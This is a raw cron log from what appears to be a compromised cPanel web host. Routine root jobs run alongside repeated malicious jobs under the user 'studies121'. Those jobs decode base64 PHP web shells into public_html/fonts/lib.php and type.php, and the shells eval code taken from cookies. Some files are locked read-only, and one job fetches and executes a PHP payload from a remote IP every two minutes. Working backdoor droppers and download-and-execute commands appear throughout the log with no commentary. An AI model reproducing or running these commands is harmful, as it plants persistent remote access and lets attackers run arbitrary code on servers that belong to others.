Sep  7 02:34:01 ip-184-168-122-23 CROND[32618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:34:01 ip-184-168-122-23 CROND[32620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:34:01 ip-184-168-122-23 CROND[32621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:34:01 ip-184-168-122-23 CROND[32619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:35:01 ip-184-168-122-23 CROND[32711]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32718]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:35:01 ip-184-168-122-23 CROND[32720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:36:01 ip-184-168-122-23 CROND[381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:36:01 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:36:01 ip-184-168-122-23 CROND[387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:36:01 ip-184-168-122-23 CROND[388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:36:01 ip-184-168-122-23 CROND[391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:37:01 ip-184-168-122-23 CROND[488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:37:01 ip-184-168-122-23 CROND[490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:37:01 ip-184-168-122-23 CROND[491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:37:01 ip-184-168-122-23 CROND[492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:38:01 ip-184-168-122-23 CROND[572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:38:01 ip-184-168-122-23 CROND[574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:38:01 ip-184-168-122-23 CROND[575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:38:01 ip-184-168-122-23 CROND[576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:38:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:39:01 ip-184-168-122-23 CROND[667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:39:01 ip-184-168-122-23 CROND[670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 02:39:01 ip-184-168-122-23 CROND[674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:39:01 ip-184-168-122-23 CROND[676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:39:01 ip-184-168-122-23 CROND[672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:40:01 ip-184-168-122-23 CROND[763]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:40:01 ip-184-168-122-23 CROND[768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:40:01 ip-184-168-122-23 CROND[770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:40:01 ip-184-168-122-23 CROND[772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:40:01 ip-184-168-122-23 CROND[769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:40:01 ip-184-168-122-23 CROND[771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:40:01 ip-184-168-122-23 CROND[767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:40:01 ip-184-168-122-23 CROND[774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:41:01 ip-184-168-122-23 CROND[953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:41:01 ip-184-168-122-23 CROND[954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:41:01 ip-184-168-122-23 CROND[956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:41:01 ip-184-168-122-23 CROND[958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:42:01 ip-184-168-122-23 CROND[1040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:42:01 ip-184-168-122-23 CROND[1042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:42:01 ip-184-168-122-23 CROND[1043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:42:01 ip-184-168-122-23 CROND[1044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:42:01 ip-184-168-122-23 CROND[1045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:43:01 ip-184-168-122-23 CROND[1126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:43:01 ip-184-168-122-23 CROND[1128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:43:01 ip-184-168-122-23 CROND[1129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:43:01 ip-184-168-122-23 CROND[1130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:44:01 ip-184-168-122-23 CROND[1205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:44:01 ip-184-168-122-23 CROND[1207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:44:01 ip-184-168-122-23 CROND[1208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:44:01 ip-184-168-122-23 CROND[1209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 02:44:01 ip-184-168-122-23 CROND[1210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:45:01 ip-184-168-122-23 CROND[1312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 02:45:01 ip-184-168-122-23 CROND[1315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:45:01 ip-184-168-122-23 CROND[1317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:45:01 ip-184-168-122-23 CROND[1316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 02:45:01 ip-184-168-122-23 CROND[1318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:45:01 ip-184-168-122-23 CROND[1313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:46:01 ip-184-168-122-23 CROND[1432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
